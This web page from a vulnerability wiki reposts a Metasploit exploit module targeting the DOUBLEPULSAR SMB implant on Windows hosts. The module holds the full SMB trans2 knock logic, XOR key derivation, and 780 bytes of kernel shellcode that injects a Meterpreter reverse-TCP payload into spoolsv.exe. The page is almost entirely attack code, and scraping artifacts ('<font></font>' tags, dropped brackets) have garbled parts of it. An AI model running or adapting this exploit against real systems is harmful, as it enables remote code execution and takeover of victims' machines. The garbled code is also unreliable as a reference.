PWNWIK.COM
,
|
EXP:
##<font></font> # This module requires Metasploit: https://metasploit.com/download<font></font> # Current source: https://github.com/rapid7/metasploit-framework<font></font> ##<font></font> <font></font> class MetasploitModule < Msf::Exploit::Remote<font></font> <font></font> Rank = GreatRanking<font></font> <font></font> include Msf::Exploit::Remote::SMB::Client<font></font> include Msf::Module::Deprecated<font></font> <font></font> moved_from 'exploit/windows/smb/doublepulsar_rce'<font></font> <font></font> MAX_SHELLCODE_SIZE = 4096<font></font> <font></font> def initialize(info = {})<font></font> super(update_info(info,<font></font> 'Name' => 'SMB DOUBLEPULSAR Remote Code Execution',<font></font> 'Description' => %q{<font></font> This module executes a Metasploit payload against the Equation Group's<font></font> DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.<font></font> <font></font> While this module primarily performs code execution against the implant,<font></font> the "Neutralize implant" target allows you to disable the implant.<font></font> },<font></font> 'Author' => <font></font> 'Equation Group', # DOUBLEPULSAR implant<font></font> 'Shadow Brokers', # Equation Group dump<font></font> 'zerosum0x0', # DOPU analysis and detection<font></font> 'Luke Jennings', # DOPU analysis and detection<font></font> 'wvu', # Metasploit module and arch detection<font></font> 'Jacob Robles' # Metasploit module and RCE help<font></font> ,<font></font> 'References' => <font></font> 'MSB', 'MS17-010',<font></font> 'CVE', '2017-0143',<font></font> 'CVE', '2017-0144',<font></font> 'CVE', '2017-0145',<font></font> 'CVE', '2017-0146',<font></font> 'CVE', '2017-0147',<font></font> 'CVE', '2017-0148',<font></font> 'URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html',<font></font> 'URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/',<font></font> 'URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/',<font></font> 'URL', 'https://github.com/countercept/doublepulsar-detection-script',<font></font> 'URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor',<font></font> 'URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1'<font></font> ,<font></font> 'DisclosureDate' => '2017-04-14', # Shadow Brokers leak<font></font> 'License' => MSF_LICENSE,<font></font> 'Platform' => 'win',<font></font> 'Arch' => ARCH_X64,<font></font> 'Privileged' => true,<font></font> 'Payload' => {<font></font> 'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,<font></font> 'DisableNops' => true<font></font> },<font></font> 'Targets' => <font></font> 'Execute payload (x64)',<font></font> 'DefaultOptions' => {<font></font> 'EXITFUNC' => 'thread',<font></font> 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'<font></font> }<font></font> ,<font></font> 'Neutralize implant',<font></font> 'DefaultOptions' => {<font></font> 'PAYLOAD' => nil # XXX: "Unset" generic payload<font></font> }<font></font> <font></font> ,<font></font> 'DefaultTarget' => 0,<font></font> 'Notes' => {<font></font> 'AKA' => 'DOUBLEPULSAR',<font></font> 'RelatedModules' => <font></font> 'auxiliary/scanner/smb/smb_ms17_010',<font></font> 'exploit/windows/smb/ms17_010_eternalblue'<font></font> ,<font></font> 'Stability' => CRASH_OS_DOWN,<font></font> 'Reliability' => REPEATABLE_SESSION<font></font> }<font></font> ))<font></font> <font></font> register_advanced_options(<font></font> OptBool.new('DefangedMode', true, 'Run in defanged mode', true),<font></font> OptString.new('ProcessName', true, 'Process to inject payload into', 'spoolsv.exe')<font></font> )<font></font> end<font></font> <font></font> OPCODES = {<font></font> ping: 0x23,<font></font> exec: 0xc8,<font></font> kill: 0x77<font></font> }.freeze<font></font> <font></font> STATUS_CODES = {<font></font> not_detected: 0x00,<font></font> success: 0x10,<font></font> invalid_params: 0x20,<font></font> alloc_failure: 0x30<font></font> }.freeze<font></font> <font></font> def calculate_doublepulsar_status(m1, m2)<font></font> STATUS_CODES.key(m2.to_i - m1.to_i)<font></font> end<font></font> <font></font> # algorithm to calculate the XOR Key for DoublePulsar knocks<font></font> def calculate_doublepulsar_xor_key(s)<font></font> x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))<font></font> x & 0xffffffff # this line was added just to truncate to 32 bits<font></font> end<font></font> <font></font> # The arch is adjacent to the XOR key in the SMB signature<font></font> def calculate_doublepulsar_arch(s)<font></font> s == 0 ? ARCH_X86 : ARCH_X64<font></font> end<font></font> <font></font> def generate_doublepulsar_timeout(op)<font></font> k = SecureRandom.random_bytes(4).unpack1('V')<font></font> 0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00<font></font> end<font></font> <font></font> def generate_doublepulsar_param(op, body)<font></font> case OPCODES.key(op)<font></font> when :ping, :kill<font></font> "\x00" * 12<font></font> when :exec<font></font> Rex::Text.xor(@xor_key.pack('V'), body.length, body.length, 0.pack('V*'))<font></font> end<font></font> end<font></font> <font></font> def check<font></font> ipc_share = "\\\\#{rhost}\\IPC$"<font></font> <font></font> @tree_id = do_smb_setup_tree(ipc_share)<font></font> vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")<font></font> vprint_status("Target OS is #{smb_peer_os}")<font></font> <font></font> print_status('Sending ping to DOUBLEPULSAR')<font></font> code, signature1, signature2 = do_smb_doublepulsar_pkt<font></font> msg = 'Host is likely INFECTED with DoublePulsar!'<font></font> <font></font> case calculate_doublepulsar_status(@multiplex_id, code)<font></font> when :success<font></font> @xor_key = calculate_doublepulsar_xor_key(signature1)<font></font> @arch = calculate_doublepulsar_arch(signature2)<font></font> <font></font> arch_str =<font></font> case @arch<font></font> when ARCH_X86<font></font> 'x86 (32-bit)'<font></font> when ARCH_X64<font></font> 'x64 (64-bit)'<font></font> end<font></font> <font></font> print_warning("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")<font></font> CheckCode::Vulnerable<font></font> when :not_detected<font></font> print_error('DOUBLEPULSAR not detected or disabled')<font></font> CheckCode::Safe<font></font> else<font></font> print_error('An unknown error occurred')<font></font> CheckCode::Unknown<font></font> end<font></font> end<font></font> <font></font> def exploit<font></font> if datastore'DefangedMode'<font></font> warning = <<~EOF<font></font> <font></font> <font></font> Are you SURE you want to execute code against a nation-state implant?<font></font> You MAY contaminate forensic evidence if there is an investigation.<font></font> <font></font> Disable the DefangedMode option if you have authorization to proceed.<font></font> EOF<font></font> <font></font> fail_with(Failure::BadConfig, warning)<font></font> end<font></font> <font></font> # No ForceExploit because @tree_id and @xor_key are required<font></font> unless check == CheckCode::Vulnerable<font></font> fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')<font></font> end<font></font> <font></font> case target.name<font></font> when 'Execute payload (x64)'<font></font> unless @xor_key<font></font> fail_with(Failure::NotFound, 'XOR key not found')<font></font> end<font></font> <font></font> if @arch == ARCH_X86<font></font> fail_with(Failure::NoTarget, 'x86 is not a supported target')<font></font> end<font></font> <font></font> print_status("Generating kernel shellcode with #{datastore'PAYLOAD'}")<font></font> shellcode = make_kernel_user_payload(payload.encoded, datastore'ProcessName')<font></font> shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)<font></font> vprint_status("Total shellcode length: #{shellcode.length} bytes")<font></font> <font></font> print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")<font></font> xor_shellcode = Rex::Text.xor(@xor_key.pack('V'), shellcode)<font></font> <font></font> print_status('Sending shellcode to DOUBLEPULSAR')<font></font> code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES:exec, xor_shellcode)<font></font> when 'Neutralize implant'<font></font> return neutralize_implant<font></font> end<font></font> <font></font> case calculate_doublepulsar_status(@multiplex_id, code)<font></font> when :success<font></font> print_good('Payload execution successful')<font></font> when :invalid_params<font></font> fail_with(Failure::BadConfig, 'Invalid parameters were specified')<font></font> when :alloc_failure<font></font> fail_with(Failure::PayloadFailed, 'An allocation failure occurred')<font></font> else<font></font> fail_with(Failure::Unknown, 'An unknown error occurred')<font></font> end<font></font> ensure<font></font> disconnect<font></font> end<font></font> <font></font> def neutralize_implant<font></font> print_status('Neutralizing DOUBLEPULSAR')<font></font> code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES:kill)<font></font> <font></font> case calculate_doublepulsar_status(@multiplex_id, code)<font></font> when :success<font></font> print_good('Implant neutralization successful')<font></font> else<font></font> fail_with(Failure::Unknown, 'An unknown error occurred')<font></font> end<font></font> end<font></font> <font></font> def do_smb_setup_tree(ipc_share)<font></font> connect<font></font> <font></font> # logon as user \<font></font> simple.login(datastore'SMBName', datastore'SMBUser', datastore'SMBPass', datastore'SMBDomain')<font></font> <font></font> # connect to IPC$<font></font> simple.connect(ipc_share)<font></font> <font></font> # return tree<font></font> simple.sharesipc_share<font></font> end<font></font> <font></font> def do_smb_doublepulsar_pkt(opcode = OPCODES:ping, body = nil)<font></font> # make doublepulsar knock<font></font> pkt = make_smb_trans2_doublepulsar(opcode, body)<font></font> <font></font> sock.put(pkt)<font></font> bytes = sock.get_once<font></font> <font></font> return unless bytes<font></font> <font></font> # convert packet to response struct<font></font> pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct<font></font> pkt.from_s(bytes4..-1)<font></font> <font></font> return pkt'SMB'.v'MultiplexID', pkt'SMB'.v'Signature1', pkt'SMB'.v'Signature2'<font></font> end<font></font> <font></font> def make_smb_trans2_doublepulsar(opcode, body)<font></font> setup_count = 1<font></font> setup_data = 0x000e.pack('v')<font></font> <font></font> param = generate_doublepulsar_param(opcode, body)<font></font> data = param + body.to_s<font></font> <font></font> pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct<font></font> simple.client.smb_defaults(pkt'Payload''SMB')<font></font> <font></font> base_offset = pkt.to_s.length + (setup_count * 2) - 4<font></font> param_offset = base_offset<font></font> data_offset = param_offset + param.length<font></font> <font></font> pkt'Payload''SMB'.v'Command' = CONST::SMB_COM_TRANSACTION2<font></font> pkt'Payload''SMB'.v'Flags1' = 0x18<font></font> pkt'Payload''SMB'.v'Flags2' = 0xc007<font></font> <font></font> @multiplex_id = rand(0xffff)<font></font> <font></font> pkt'Payload''SMB'.v'WordCount' = 14 + setup_count<font></font> pkt'Payload''SMB'.v'TreeID' = @tree_id<font></font> pkt'Payload''SMB'.v'MultiplexID' = @multiplex_id<font></font> <font></font> pkt'Payload'.v'ParamCountTotal' = param.length<font></font> pkt'Payload'.v'DataCountTotal' = body.to_s.length<font></font> pkt'Payload'.v'ParamCountMax' = 1<font></font> pkt'Payload'.v'DataCountMax' = 0<font></font> pkt'Payload'.v'ParamCount' = param.length<font></font> pkt'Payload'.v'ParamOffset' = param_offset<font></font> pkt'Payload'.v'DataCount' = body.to_s.length<font></font> pkt'Payload'.v'DataOffset' = data_offset<font></font> pkt'Payload'.v'SetupCount' = setup_count<font></font> pkt'Payload'.v'SetupData' = setup_data<font></font> pkt'Payload'.v'Timeout' = generate_doublepulsar_timeout(opcode)<font></font> pkt'Payload'.v'Payload' = data<font></font> <font></font> pkt.to_s<font></font> end<font></font> <font></font> # ring3 = user mode encoded payload<font></font> # proc_name = process to inject APC into<font></font> def make_kernel_user_payload(ring3, proc_name)<font></font> sc = make_kernel_shellcode(proc_name)<font></font> <font></font> sc << ring3.length.pack('S<')<font></font> sc << ring3<font></font> <font></font> sc<font></font> end<font></font> <font></font> def generate_process_hash(process)<font></font> # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm<font></font> proc_hash = 0<font></font> process << "\x00"<font></font> <font></font> process.each_byte do |c|<font></font> proc_hash = ror(proc_hash, 13)<font></font> proc_hash += c<font></font> end<font></font> <font></font> proc_hash.pack('l<')<font></font> end<font></font> <font></font> def ror(dword, bits)<font></font> (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF<font></font> end<font></font> <font></font> def make_kernel_shellcode(proc_name)<font></font> # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm<font></font> # Length: 780 bytes<font></font> "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \<font></font> "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \<font></font> "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \<font></font> "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \<font></font> "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \<font></font> "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \<font></font> "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \<font></font> "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \<font></font> "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \<font></font> "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \<font></font> "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \<font></font> "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \<font></font> "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +<font></font> generate_process_hash(proc_name.upcase) +<font></font> "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \<font></font> "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \<font></font> "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \<font></font> "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \<font></font> "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \<font></font> "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \<font></font> "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \<font></font> "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \<font></font> "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \<font></font> "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \<font></font> "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \<font></font> "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \<font></font> "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \<font></font> "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \<font></font> "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \<font></font> "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \<font></font> "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \<font></font> "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \<font></font> "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \<font></font> "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \<font></font> "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \<font></font> "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \<font></font> "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \<font></font> "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \<font></font> "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \<font></font> "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \<font></font> "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \<font></font> "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \<font></font> "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \<font></font> "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \<font></font> "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \<font></font> "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \<font></font> "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \<font></font> "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \<font></font> "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \<font></font> "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"<font></font> end<font></font> <font></font> def kernel_shellcode_size<font></font> make_kernel_shellcode('').length<font></font> end<font></font> <font></font> end<font></font> <font></font> # 0day.today 2020-03-20 #
作者:
Metasploit
PWNWIK.COM==免费、自由、人人可编辑的漏洞库